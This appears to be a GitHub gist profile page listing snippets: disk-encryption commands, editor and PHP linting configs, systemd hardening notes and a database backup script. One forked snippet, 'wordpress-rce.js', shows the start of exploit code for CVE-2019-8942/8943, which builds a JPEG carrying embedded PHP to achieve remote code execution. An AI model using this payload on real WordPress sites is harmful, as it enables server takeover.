Skip to content

Instantly share code, notes, and snippets.

View wbso's full-sized avatar
🎯
Focusing

Tegar Wibisono wbso

🎯
Focusing
  • Yogyakarta
  • 17:36 (UTC +07:00)
View GitHub Profile
@wbso
wbso / cryptsetup.md
Created June 22, 2017 19:07
cryptsetup

cryptsetup -v --cipher aes-xts-plain64 --key-size 512 --hash sha512 --iter-time 5000 --use-random --verify-passphrase luksFormat device

cryptsetup luksOpen /dev/sdd1 dm-disk

mkfs -t ext4 /dev/mapper/dm-disk

cryptsetup luksClose dm-disk sync

// Place your settings in this file to overwrite the default settings
{
"editor.fontSize": 15,
"editor.fontFamily": "Consolas",
"editor.tabSize": 2,
"editor.wordWrapColumn": 80,
"editor.fontLigatures": true,
"editor.snippetSuggestions": "top",
"editor.minimap.enabled": true,
"files.exclude": {

Keybase proof

I hereby claim:

  • I am wbso on github.
  • I am teg (https://keybase.io/teg) on keybase.
  • I have a public key whose fingerprint is 85A0 B270 36A5 47CA 7182 B42B 040D D4F2 5884 6E2D

To claim this, I am signing this object:

@wbso
wbso / wordpress-rce.js
Created October 28, 2019 04:45 — forked from allyshka/wordpress-rce.js
WordPress <= 5.0 exploit code for CVE-2019-8942 & CVE-2019-8943
var wpnonce = '';
var ajaxnonce = '';
var wp_attached_file = '';
var imgurl = '';
var postajaxdata = '';
var post_id = 0;
var cmd = '<?php phpinfo();/*';
var cmdlen = cmd.length
var payload = '\xff\xd8\xff\xed\x004Photoshop 3.0\x008BIM\x04\x04'+'\x00'.repeat(5)+'\x17\x1c\x02\x05\x00\x07PAYLOAD\x00\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00`\x00`\x00\x00\xff\xdb\x00C\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\x0a\x10\x0a\x0a\x09\x09\x0a\x14\x0e\x0f\x0c\x10\x17\x14\x18\x18\x17\x14\x16\x16\x1a\x1d%\x1f\x1a\x1b#\x1c\x16\x16 , #&\x27)*)\x19\x1f-0-(0%()(\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x00\x01'+'\x00'.repeat(15)+'\x08\xff\xc4\x00\x14\x10\x01'+'\x00'.repeat(16)+'\xff\xda\x00\x08\x01\x01\x00\x00?\x00T\xbf\xff\xd9';
var img = payload.replace('\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);
<?php
return PhpCsFixer\Config::create()
->setRules([
'@PhpCsFixer' => true,
'php_unit_internal_class' => false,
'php_unit_test_class_requires_covers' => false,
'no_unused_imports' => true,
'array_syntax' => ['syntax' => 'short'],
'single_quote' => true,
<?xml version="1.0"?>
<ruleset name="Laravel Standards">
<description>The Laravel Coding Standards</description>
<file>app</file>
<file>config</file>
<file>public</file>
<file>resources</file>
<file>routes</file>
@wbso
wbso / modal.blade.php
Created December 21, 2019 13:02 — forked from laracasts/modal.blade.php
Modals with Zero JavaScript
<div id="{{ $name }}" class="overlay">
<a href="#" class="cancel"></a>
<div class="modal">
{{ $slot }}
<a href="#" class="close">&times;</a>
</div>
</div>
@wbso
wbso / systemd_service_hardening.md
Created February 21, 2022 02:37 — forked from ageis/systemd_service_hardening.md
Options for hardening systemd service units

security and hardening options for systemd service units

A common and reliable pattern in service unit files is thus:

NoNewPrivileges=yes
PrivateTmp=yes
PrivateDevices=yes
DevicePolicy=closed
ProtectSystem=strict
#!/bin/bash
export PATH=/bin:/usr/bin:/usr/local/bin
TODAY=`date +"%Y%m%d-%H%M%S"`
################################################################
################## Update below values ########################
DB_BACKUP_PATH='/home/username/db'
MYSQL_HOST='localhost'
MYSQL_PORT='3306'